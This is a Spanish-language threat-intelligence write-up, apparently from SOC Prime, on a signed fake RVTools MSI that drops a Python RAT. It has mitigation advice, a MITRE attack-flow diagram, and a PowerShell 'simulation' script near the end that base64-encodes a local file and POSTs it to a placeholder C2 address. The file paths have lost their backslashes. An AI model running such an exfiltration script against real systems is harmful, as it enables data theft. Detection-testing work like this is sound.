SOC Prime Bias: Medio

29 May 2026 07:20 UTC

RVTools Mascarada: Cómo un Instalador Falso Firmado Despliega un RAT Modular de Python

Author Photo
SOC Prime Team linkedin icon Seguir
RVTools Mascarada: Cómo un Instalador Falso Firmado Despliega un RAT Modular de Python
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Un instalador MSI malicioso firmado con un certificado legítimo se hace pasar por la utilidad RVTools utilizada por los administradores de VMware. Una vez ejecutado, el instalador despliega un VBScript que lanza PowerShell para descargar un gran archivo ZIP de Dropbox. Ese archivo contiene un entorno Python portátil que ejecuta un RAT multifásico capaz de reconocimiento, persistencia y comunicación con servidores de comando y control codificados.

Investigación

El análisis rastreó el MSI a una acción personalizada de VBScript, Binary.MyScript.vbs, que decodificó un comando de PowerShell ofuscado. Ese comando descargó un winp.zip carga útil en %APPDATA%, extrajo componentes y scripts de Python como collector.py and Pmanager.py, y luego estableció persistencia a través de claves Run del registro y una tarea programada después del reinicio. Los investigadores también encontraron que el RAT cifró los datos recopilados con RC4 y enviaba señales a cinco direcciones IP fijas a intervalos de cinco minutos.

Mitigación

Las organizaciones deben aplicar una validación estricta de firma de código con comprobaciones en vivo de OCSP o CRL, bloquear la ejecución de MSI no confiables y monitorear las acciones personalizadas de VBScript sospechosas incrustadas en los paquetes del instalador. Los defensores también deben prevenir la ejecución automática de scripts descargados, observar nuevas entradas de claves Run y la creación de tareas programadas, y alertar sobre el tráfico saliente a direcciones IP codificadas desconocidas.

Respuesta

Si se detecta esta actividad, aísle inmediatamente el punto final afectado, recopile el MSI, el VBScript y los archivos de carga útil extraídos para el análisis forense, y elimine todos los artefactos de persistencia, incluidas las claves Run y las tareas programadas. Las direcciones IP de comando y control identificadas deben bloquearse en el cortafuegos, y se debe realizar una revisión más amplia de las credenciales y la actividad de Active Directory para determinar si ocurrió movimiento lateral.

graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access[«<b>Fase</b>: Acceso inicial<br/><b>Acción</b> – La víctima ejecuta un MSI malicioso firmado que se hace pasar por RVTools.»] class phase_initial_access phase phase_execution[«<b>Fase</b>: Ejecución<br/><b>Acción</b> – MSI usa Msiexec para ejecutar VBScript que lanza un descargador oculto de PowerShell.»] class phase_execution phase phase_payload[«<b>Fase</b>: Despliegue de carga útil<br/><b>Acción</b> – El archivo se descomprime en un entorno portátil WinPython que contiene collector.py y manager.py.»] class phase_payload phase phase_persistence[«<b>Fase</b>: Persistencia<br/><b>Acción</b> – El gestor Python crea clave Run del Registro, tarea programada y entrada Active Setup.»] class phase_persistence phase phase_c2[«<b>Fase</b>: Comando y Control<br/><b>Acción</b> – Los datos recolectados se archivan, se cifran con RC4 y se exfiltran mediante HTTP POST a IPs codificadas.»] class phase_c2 phase phase_evasion[«<b>Fase</b>: Evasión de defensa<br/><b>Acción</b> – Uso de binarios firmados, ejecución proxy y ofuscación de caracteres para evadir detecciones.»] class phase_evasion phase %% Techniques for Initial Access tech_user_execution[«<b>Técnica</b> T1204.002 Ejecución por usuario: archivo malicioso<br/>La víctima ejecuta un archivo que cree legítimo.»] class tech_user_execution technique tech_masquerading[«<b>Técnica</b> T1036.001 Enmascaramiento<br/>El binario está firmado y nombrado como utilidad legítima (RVTools).»] class tech_masquerading technique tech_trusted_dev_proxy[«<b>Técnica</b> T1127 Ejecución proxy de herramientas de desarrollador confiables<br/>Binario firmado usado para evadir comprobaciones de reputación.»] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy[«<b>Técnica</b> T1218.007 Ejecución proxy de binarios del sistema: Msiexec<br/>Msiexec ejecuta el MSI malicioso.»] class tech_msiexec_proxy technique tech_vbscript[«<b>Técnica</b> T1059.005 Intérprete de comandos: Visual Basic<br/>Acción personalizada ejecuta payload VBScript.»] class tech_vbscript technique tech_powershell[«<b>Técnica</b> T1059.001 Intérprete de comandos: PowerShell<br/>VBScript decodifica y ejecuta comando oculto de descarga PowerShell.»] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom[«<b>Técnica</b> T1560.003 Archivado de datos recolectados: método personalizado<br/>ZIP de 33 MB (winp.zip) se descarga y extrae para crear entorno Python portátil.»] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run[«<b>Técnica</b> T1037.004 Scripts de inicio de sesión o arranque: Registro Run<br/>Se crea clave Run para ejecutar manager.py al inicio.»] class tech_registry_run persistence tech_scheduled_task[«<b>Técnica</b> T1053 Tarea programada<br/>Tarea diaria ejecutada con privilegios SYSTEM.»] class tech_scheduled_task persistence tech_active_setup[«<b>Técnica</b> T1547.014 Ejecución automática Active Setup<br/>Entrada Active Setup para ejecución por usuario.»] class tech_active_setup persistence tech_hijack_execution[«<b>Técnica</b> T1574 Secuestro del flujo de ejecución<br/>Tarea programada usada para redirigir ejecución normal.»] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted[«<b>Técnica</b> T1048.003 Exfiltración por protocolo no C2 sin cifrar<br/>Datos enviados por HTTP POST a IPs codificadas.»] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[«<b>Técnica</b> T1048.002 Exfiltración cifrada asimétrica no C2<br/>Datos cifrados con RC4 antes de transmisión.»] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy[«<b>Técnica</b> T1216.002 Ejecución proxy de scripts del sistema: SyncAppvPublishingServer<br/>Scripts confiables usados como proxy para ocultar actividad.»] class tech_system_script_proxy evasion tech_system_binary_proxy[«<b>Técnica</b> T1218 Ejecución proxy de binarios del sistema<br/>Utilidades firmadas abusadas para evadir control de aplicaciones.»] class tech_system_binary_proxy evasion %% Artifacts artifact_msi[«<b>Artefacto</b>: malicious_RVTools.msi<br/>MSI firmado usado para acceso inicial.»] class artifact_msi artifact artifact_zip[«<b>Artefacto</b>: winp.zip<br/>Archivo en Dropbox con WinPython portátil.»] class artifact_zip artifact artifact_python_env[«<b>Artefacto</b>: entorno WinPython<br/>Contiene collector.py y manager.py.»] class artifact_python_env artifact artifact_registry_key[«<b>Artefacto</b>: clave de registro Run<br/>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WinPythonMgr»] class artifact_registry_key artifact artifact_scheduled_task[«<b>Artefacto</b>: tarea programada<br/>WinPythonDaily, ejecutada como SYSTEM.»] class artifact_scheduled_task artifact artifact_active_setup[«<b>Artefacto</b>: entrada Active Setup<br/>HKLM\\Software\\Microsoft\\Active Setup\\Installed Components\\WinPython»] class artifact_active_setup artifact artifact_c2_ip[«<b>Artefacto</b>: IPs C2<br/>IPs IPv4 codificadas contactadas por HTTP.»] class artifact_c2_ip artifact %% Connections phase_initial_access –>|usa| tech_user_execution phase_initial_access –>|usa| tech_masquerading phase_initial_access –>|usa| tech_trusted_dev_proxy phase_initial_access –>|entrega| artifact_msi tech_user_execution –>|ejecuta| artifact_msi tech_masquerading –>|habilita| artifact_msi tech_trusted_dev_proxy –>|evita| artifact_msi phase_execution –>|aprovecha| tech_msiexec_proxy tech_msiexec_proxy –>|ejecuta| tech_vbscript tech_vbscript –>|lanza| tech_powershell tech_powershell –>|descarga| artifact_zip artifact_zip –>|extraído a| artifact_python_env phase_payload –>|contiene| artifact_python_env phase_persistence –>|crea| tech_registry_run phase_persistence –>|crea| tech_scheduled_task phase_persistence –>|crea| tech_active_setup phase_persistence –>|usa| tech_hijack_execution tech_registry_run –>|escribe| artifact_registry_key tech_scheduled_task –>|crea| artifact_scheduled_task tech_active_setup –>|escribe| artifact_active_setup phase_c2 –>|archiva y cifra datos| tech_archive_custom tech_archive_custom –>|envía vía| tech_exfil_unencrypted tech_exfil_unencrypted –>|usa| artifact_c2_ip tech_exfil_unencrypted –>|también usa| tech_exfil_asymmetric phase_evasion –>|aplica| tech_system_script_proxy phase_evasion –>|aplica| tech_system_binary_proxy tech_system_binary_proxy –>|facilita| tech_msiexec_proxy tech_system_script_proxy –>|facilita| tech_vbscript

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La verificación previa al vuelo del Telémetro y Base de Referencia debe haber sido aprobada.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar DIRECTAMENTE los TTPs identificados y a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:
    Un adversario que ya ha establecido un punto de apoyo en la máquina de la víctima decide exfiltrar un pequeño conjunto de datos (por ejemplo, C:Tempsecret.txt). Para evitar activar alertas de tráfico saliente genéricas, el actor usa un PowerShell one-liner que realiza un HTTP POST directamente a una de las IPs de C2 codificadas (192.0.2.10). El comando se programa a través de una Tarea Programada de Windows para asegurar la persistencia (T1546.013). No se sueltan binarios adicionales, manteniendo la actividad “viviendo de la tierra”.

  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Script de PowerShell – Exfiltración de datos a través de IP codificada
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Asegura que el archivo existe (cree datos ficticios para la prueba)
    if (-Not (Test-Path $file)) {
        "datos sensibles $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Lee el contenido del archivo y lo codifica en Base64
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # Realiza el HTTP POST
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Intento de exfiltración enviado a $c2Ip"
    } catch {
        Write-Error "Exfiltración fallida: $_"
    }
  • Comandos de Limpieza:

    # Remover el archivo ficticio
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Eliminar cualquier tarea programada creada para la prueba (si la hay)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }